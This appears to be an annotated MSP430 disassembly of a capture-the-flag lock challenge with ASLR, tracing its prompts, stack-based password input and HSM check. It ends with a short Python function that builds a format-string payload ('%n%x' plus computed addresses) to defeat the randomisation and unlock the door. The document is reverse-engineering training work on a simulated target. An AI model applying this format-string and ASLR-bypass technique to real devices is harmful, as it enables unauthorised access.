.msp430 0010 <__trap_interrupt> 0010: 3041 ret ; Only runs once 4400 <__init_stack> 4400: 3140 0044 mov #0x4400, sp 4404 <__low_level_init> 4404: 1542 5c01 mov &0x015c, r5 4408: 75f3 and.b #-0x1, r5 440a: 35d0 085a bis #0x5a08, r5 440e <__do_copy_data> 440e: 3f40 0000 clr r15 4412: 0f93 tst r15 4414: 0724 jz $+0x10 <__do_clear_bss+0x0> 4416: 8245 5c01 mov r5, &0x015c 441a: 2f83 decd r15 ; 4170 contains only zeroes 441c: 9f4f 704a 0024 mov 0x4a70(r15), 0x2400(r15) 4422: f923 jnz $-0xc <__do_copy_data+0x8> 4424 <__do_clear_bss> 4424: 3f40 3200 mov #0x32, r15 4428: 0f93 tst r15 442a: 0624 jz $+0xe 442c: 8245 5c01 mov r5, &0x015c 4430: 1f83 dec r15 4432: cf43 0024 mov.b #0x0, 0x2400(r15) 4436: fa23 jnz $-0xa <__do_clear_bss+0x8> rand_base_0x038:
main: 4438: b012 1c4a call #0x4a1c ; get rand_base 443c: 0b4f mov r15, r11 443e: 3bf0 fe7f and #0x7ffe, r11 4442: 3b50 0060 add #0x6000, r11 4446: b012 1c4a call #0x4a1c 444a: 0a4f mov r15, r10 ; Copy 0x1000 bytes from 0x4400 to rand_base 444c: 3012 0010 push #0x1000 4450: 3012 0044 push #0x4400 4454: 0b12 push r11 4456: b012 e849 call #0x49e8 <_memcpy> 445a: 3150 0600 add #0x6, sp 445e: 0f4a mov r10, r15 4460: 3ff0 fe0f and #0xffe, r15 4464: 0e4b mov r11, r14 4466: 0e8f sub r15, r14 4468: 3e50 00ff add #0xff00, r14 446c: 0d4b mov r11, r13 446e: 3d50 5c03 add #0x35c, r13 4472: 014e mov r14, sp 4474: 0f4b mov r11, r15 4476: 8d12 call r13 rand_base_0x078: <__stop_progExec__> 4478: 32d0 f000 bis #0xf0, sr 447c: fd3f jmp $-0x4 <__stop_progExec__+0x0> rand_base_0x07e: <__ctors_end> 447e: 3040 6e4a br #0x4a6e <_unexpected_> rand_base_0x082: <_aslr_main> _aslr_main: ;! args: r15 push r11 push r10 ; Eight more bytes on stack sub #0x8, sp mov r15, r12 add #0x36a, r12 mov r12, 0x2(sp) clr r14 __delete_code_loop: mov.b #0x0, 0x4400(r14) inc r14 cmp #0x1000, r14 jnz $-0xa <__delete_code_loop> ; "Username (8 char max):" -> 0x2402 mov.b #0x55, &0x2402 mov.b #0x73, &0x2403 mov.b #0x65, &0x2404 mov.b #0x72, &0x2405 mov.b #0x6e, &0x2406 mov.b #0x61, &0x2407 mov.b #0x6d, &0x2408 mov.b #0x65, &0x2409 mov.b #0x20, &0x240a mov.b #0x28, &0x240b mov.b #0x38, &0x240c mov.b #0x20, &0x240d mov.b #0x63, &0x240e mov.b #0x68, &0x240f mov.b #0x61, &0x2410 mov.b #0x72, &0x2411 mov.b #0x20, &0x2412 mov.b #0x6d, &0x2413 mov.b #0x61, &0x2414 mov.b #0x78, &0x2415 mov.b #0x29, &0x2416 mov.b #0x3a, &0x2417 mov.b #0x0, &0x2418 mov #0x17, &0x2400 mov #0x2402, r14 clr r11 jmp $+0x22 ; Print the uname string bytewise __print_uname_string_l: inc r14 sxt r13 push r11 push r13 push r11 push pc push sr mov r11, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp print_uname_string: mov.b @r14, r13 tst.b r13 jnz $-0x24 <__print_uname_string_l> ; Print newline __print_line_feed__1: ; putchar clr r14 mov #0xa, r13 push r14 push r13 push r14 push pc push sr mov r14, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp ;* Print ">>" __print_less_than__1: ; putchar add #0x34, r13 push r14 push r13 push r14 push pc push sr mov r14, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp __print_less_than__2: ; putchar push r14 push r13 push r14 push pc push sr mov r14, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp ;! Gets 8 bytes of user input -> &0x2426 __get_uname_string: ; getsn mov #0x8, r10 mov #0x2426, r11 mov #0x2, r13 push r10 push r11 push r13 push pc push sr mov r13, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 ; INT (2, 0x2426, 0x8) pop sr add #0x8, sp ; Calls r15+0x36a mov.b r14, &0x242e push r11 call r12 ;! PRINTF??? incd sp mov r11, r15 jmp $+0x8 __clsb_a_loop: mov.b #0x0, 0x0(r15) inc r15 clsb_a: cmp #0x2432, r15 jnz $-0xa <__clsb_a_loop> ;! "Password:" -> 0x2403 mov.b #0xa, &0x2402 ; length 10 mov.b #0x50, &0x2403 mov.b #0x61, &0x2404 mov.b #0x73, &0x2405 mov.b #0x73, &0x2406 mov.b #0x77, &0x2407 mov.b #0x6f, &0x2408 mov.b #0x72, &0x2409 mov.b #0x64, &0x240a mov.b #0x3a, &0x240b mov.b #0x0, &0x240c mov #0x2402, r14 ; r14 = &length ; puts ("Password:") clr r12 jmp $+0x22 __print_passwd_string: inc r14 sxt r13 push r12 push r13 push r12 push pc push sr mov r12, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 ; INT (0, r13) pop sr add #0x8, sp print_passwd_string: mov.b @r14, r13 tst.b r13 jnz $-0x24 <__print_passwd_string> clr r14 mov #0xa, r13 push r14 push r13 push r14 push pc push sr mov r14, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp ;! Get password from user -> STACK __get_pass_string: ; getsn mov sp, r11 add #0x4, r11 mov #0x14, r12 mov #0x2, r13 push r12 push r11 push r13 push pc push sr mov r13, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 ; INT (2, ) 0x2aa: pop sr add #0x8, sp ;! Check password with HSM-2 __check_password: ; conditional_unlock_door add #0x7c, r13 mov sp, r12 push r12 push r11 push r13 push pc push sr mov r13, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp ; "Wrong!" -> 0x2402 mov.b #0x57, &0x2402 mov.b #0x72, &0x2403 mov.b #0x6f, &0x2404 mov.b #0x6e, &0x2405 mov.b #0x67, &0x2406 mov.b #0x21, &0x2407 mov.b r14, &0x2408 ; Hah, nice hint: r14 still 0 mov #0x7, &0x2400 ; length: 7 ;* puts mov #0x2402, r13 jmp $+0x22 <_aslr_main+0x2a2> __print_wrong_string: ; puts ("Wrong!") inc r13 sxt r12 push r14 push r12 push r14 push pc push sr mov r14, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp print_wrong_string: mov.b @r13, r12 tst.b r12 jnz $-0x24 <_aslr_main+0x282> ; print newline clr r14 mov #0xa, r13 push r14 push r13 push r14 push pc push sr mov r14, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp mov sp, r14 ; r15 = ++r14 incd r14 push r14 pop r15 4754: add #0x8, sp pop r10 pop r11 ret rand_base_0x35c: aslr_main: 475c: 0e4f mov r15, r14 475e: 3e50 8200 add #0x82, r14 4762: 8e12 call r14 ; SR |= 0x00f0 4764: 32d0 f000 bis #0xf0, sr 4768: 3041 ret aslr_base_0x36a: printf: ; Save registers push r11 push r10 push r9 push r8 push r7 push r6 push r4 ; Create a new stack frame of 0xe bytes mov sp, r4 add #0xe, r4 ; Get the first argument decd sp mov 0x2(r4), r10 mov sp, -0x10(r4) mov r10, r15 clr r14 jmp $+0x18 <__target_1> +3a inc r15 cmp.b #0x25, r13 jnz $+0x10 <__target_1> +3a cmp.b @r15, r13 jnz $+0x8 <__target_2> +36 __target_4: inc r15 clr r13 jmp $+0x4 <__target_3> +38 __target_2: mov #0x1, r13 add r13, r14 __target_3: mov.b @r15, r13 tst.b r13 jnz $-0x1a <__target_4> +24 mov r14, r15 add r15, r15 incd r15 sub r15, sp mov sp, r11 mov r4, r12 add #0x4, r12 mov sp, r15 clr r13 jmp $+0xc mov @r12, 0x0(r15) inc r13 incd r15 incd r12 cmp r14, r13 jl $-0xc clr r12 mov #0x9, r6 mov r12, r13 mov #0x25, r7 jmp $+0xf8 inc r10 cmp.b #0x25, r15 jz $+0x26 inc r12 __target_1: mov.b r15, r14 sxt r14 push r13 push r14 push r13 push pc push sr mov r13, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp jmp $+0xcc mov.b @r10, r14 cmp.b r15, r14 jnz $+0x22 inc r12 push r13 push r7 push r13 push pc push sr mov r13, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp jmp $+0xa2 cmp.b #0x73, r14 jnz $+0x32 mov @r11, r14 clr r8 jmp $+0x24 inc r12 inc r14 sxt r9 push r8 push r9 push r8 push pc push sr mov r8, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp mov.b @r14, r9 tst.b r9 jnz $-0x26 jmp $+0x6c cmp.b #0x78, r14 jnz $+0x5a mov @r11, r14 mov #0x4, r9 jmp $+0x4a mov r14, r15 swpb r15 and #0xff, r15 clrc rrc r15 rra r15 rra r15 rra r15 cmp r15, r6 jl $+0xa mov r15, r8 add #0x30, r8 jmp $+0x8 mov r15, r8 add #0x57, r8 push r13 push r8 push r13 push pc push sr mov r13, r15 swpb r15 mov r15, sr bis #0x8000, sr call #0x10 pop sr add #0x8, sp add r14, r14 add r14, r14 add r14, r14 add r14, r14 add #-0x1, r9 cmp #-0x1, r9 jnz $-0x4c add #0x4, r12 jmp $+0xe cmp.b #0x6e, r14 jnz $+0x8 mov @r11, r15 mov r12, 0x0(r15) incd r11 inc r10 mov.b @r10, r15 tst.b r15 jnz $-0xfa mov -0x10(r4), sp incd sp pop r4 pop r6 pop r7 pop r8 pop r9 pop r10 pop r11 ret ;;; def bypass (printf_loc): aslr_base = printf_loc - 0x36a; print(b'%n%x'.hex()) print(f"{b'AAAA1011'.hex()}{aslr_base+0x56c:x}7f7f{aslr_base+0x4f4:x}") ;;; aslr_base_0x4ec: <_INT> _INT: 48ec: 1e41 0200 mov 0x2(sp), r14 48f0: 0212 push sr 48f2: 0f4e mov r14, r15 aslr_base_0x4f4: 48f4: 8f10 swpb r15 48f6: 024f mov r15, sr 48f8: 32d0 0080 bis #0x8000, sr 48fc: b012 1000 call #0x10 4900: 3241 pop sr 4902: 3041 ret aslr_base_0x504: INT: 4904: 0c4f mov r15, r12 4906: 0d12 push r13 4908: 0e12 push r14 490a: 0c12 push r12 490c: 0012 push pc 490e: 0212 push sr 4910: 0f4c mov r12, r15 4912: 8f10 swpb r15 4914: 024f mov r15, sr 4916: 32d0 0080 bis #0x8000, sr 491a: b012 1000 call #0x10 491e: 3241 pop sr 4920: 3152 add #0x8, sp 4922: 3041 ret aslr_base_0x524: putchar: 4924: 0e4f mov r15, r14 4926: 0d43 clr r13 4928: 0d12 push r13 492a: 0e12 push r14 492c: 0d12 push r13 492e: 0012 push pc 4930: 0212 push sr 4932: 0f4d mov r13, r15 4934: 8f10 swpb r15 4936: 024f mov r15, sr 4938: 32d0 0080 bis #0x8000, sr 493c: b012 1000 call #0x10 4940: 3241 pop sr 4942: 3152 add #0x8, sp 4944: 0f4e mov r14, r15 4946: 3041 ret aslr_base_0x548: getchar: 4948: 2183 decd sp 494a: 0d43 clr r13 494c: 1e43 mov #0x1, r14 494e: 0c41 mov sp, r12 4950: 0d12 push r13 4952: 0c12 push r12 4954: 0e12 push r14 4956: 0012 push pc 4958: 0212 push sr 495a: 0f4e mov r14, r15 495c: 8f10 swpb r15 495e: 024f mov r15, sr 4960: 32d0 0080 bis #0x8000, sr 4964: b012 1000 call #0x10 4968: 3241 pop sr 496a: 3152 add #0x8, sp 496c: 6f41 mov.b @sp, r15 496e: 8f11 sxt r15 4970: 2153 incd sp 4972: 3041 ret aslr_base_0x574: getsn: 4974: 0d4f mov r15, r13 4976: 2c43 mov #0x2, r12 4978: 0e12 push r14 497a: 0d12 push r13 497c: 0c12 push r12 497e: 0012 push pc 4980: 0212 push sr 4982: 0f4c mov r12, r15 4984: 8f10 swpb r15 4986: 024f mov r15, sr 4988: 32d0 0080 bis #0x8000, sr 498c: b012 1000 call #0x10 4990: 3241 pop sr 4992: 3152 add #0x8, sp 4994: 3041 ret aslr_base_0x596: puts: 4996: 0e4f mov r15, r14 4998: 0c43 clr r12 499a: 103c jmp $+0x22 499c: 1e53 inc r14 499e: 8d11 sxt r13 49a0: 0c12 push r12 49a2: 0d12 push r13 49a4: 0c12 push r12 49a6: 0012 push pc 49a8: 0212 push sr 49aa: 0f4c mov r12, r15 49ac: 8f10 swpb r15 49ae: 024f mov r15, sr 49b0: 32d0 0080 bis #0x8000, sr 49b4: b012 1000 call #0x10 49b8: 3241 pop sr 49ba: 3152 add #0x8, sp 49bc: 6d4e mov.b @r14, r13 49be: 4d93 tst.b r13 49c0: ed23 jnz $-0x24 49c2: 0e43 clr r14 49c4: 3d40 0a00 mov #0xa, r13 49c8: 0e12 push r14 49ca: 0d12 push r13 49cc: 0e12 push r14 49ce: 0012 push pc 49d0: 0212 push sr 49d2: 0f4e mov r14, r15 49d4: 8f10 swpb r15 49d6: 024f mov r15, sr 49d8: 32d0 0080 bis #0x8000, sr 49dc: b012 1000 call #0x10 49e0: 3241 pop sr 49e2: 3152 add #0x8, sp 49e4: 0f4e mov r14, r15 49e6: 3041 ret aslr_base_0x5e8: <_memcpy> memcpy: 49e8: 1c41 0600 mov 0x6(sp), r12 49ec: 0f43 clr r15 49ee: 093c jmp $+0x14 <_memcpy+0x1a> 49f0: 1e41 0200 mov 0x2(sp), r14 49f4: 0e5f add r15, r14 49f6: 1d41 0400 mov 0x4(sp), r13 49fa: 0d5f add r15, r13 49fc: ee4d 0000 mov.b @r13, 0x0(r14) 4a00: 1f53 inc r15 4a02: 0f9c cmp r12, r15 4a04: f523 jnz $-0x14 <_memcpy+0x8> 4a06: 3041 ret aslr_base_608: <_bzero> bzero: 4a08: 0d43 clr r13 4a0a: 053c jmp $+0xc <_bzero+0xe> 4a0c: 0c4f mov r15, r12 4a0e: 0c5d add r13, r12 4a10: cc43 0000 mov.b #0x0, 0x0(r12) 4a14: 1d53 inc r13 4a16: 0d9e cmp r14, r13 4a18: f923 jnz $-0xc <_bzero+0x4> 4a1a: 3041 ret aslr_base_0x61c: rand: 4a1c: 0e43 clr r14 4a1e: 3d40 2000 mov #0x20, r13 4a22: 0e12 push r14 4a24: 0e12 push r14 4a26: 0d12 push r13 4a28: 0012 push pc 4a2a: 0212 push sr 4a2c: 0f4d mov r13, r15 4a2e: 8f10 swpb r15 4a30: 024f mov r15, sr 4a32: 32d0 0080 bis #0x8000, sr 4a36: b012 1000 call #0x10 4a3a: 3241 pop sr 4a3c: 3152 add #0x8, sp 4a3e: 0f4f mov r15, r15 4a40: 3041 ret aslr_base_0x642: conditional_unlock_door: 4a42: 2183 decd sp 4a44: 0e4f mov r15, r14 4a46: 3d40 7e00 mov #0x7e, r13 4a4a: 0c41 mov sp, r12 4a4c: 0c12 push r12 4a4e: 0e12 push r14 4a50: 0d12 push r13 4a52: 0012 push pc 4a54: 0212 push sr 4a56: 0f4d mov r13, r15 4a58: 8f10 swpb r15 4a5a: 024f mov r15, sr 4a5c: 32d0 0080 bis #0x8000, sr 4a60: b012 1000 call #0x10 4a64: 3241 pop sr 4a66: 3152 add #0x8, sp 4a68: 0f43 clr r15 4a6a: 2153 incd sp 4a6c: 3041 ret 4a6e <_unexpected_> 4a6e: 0013 reti pc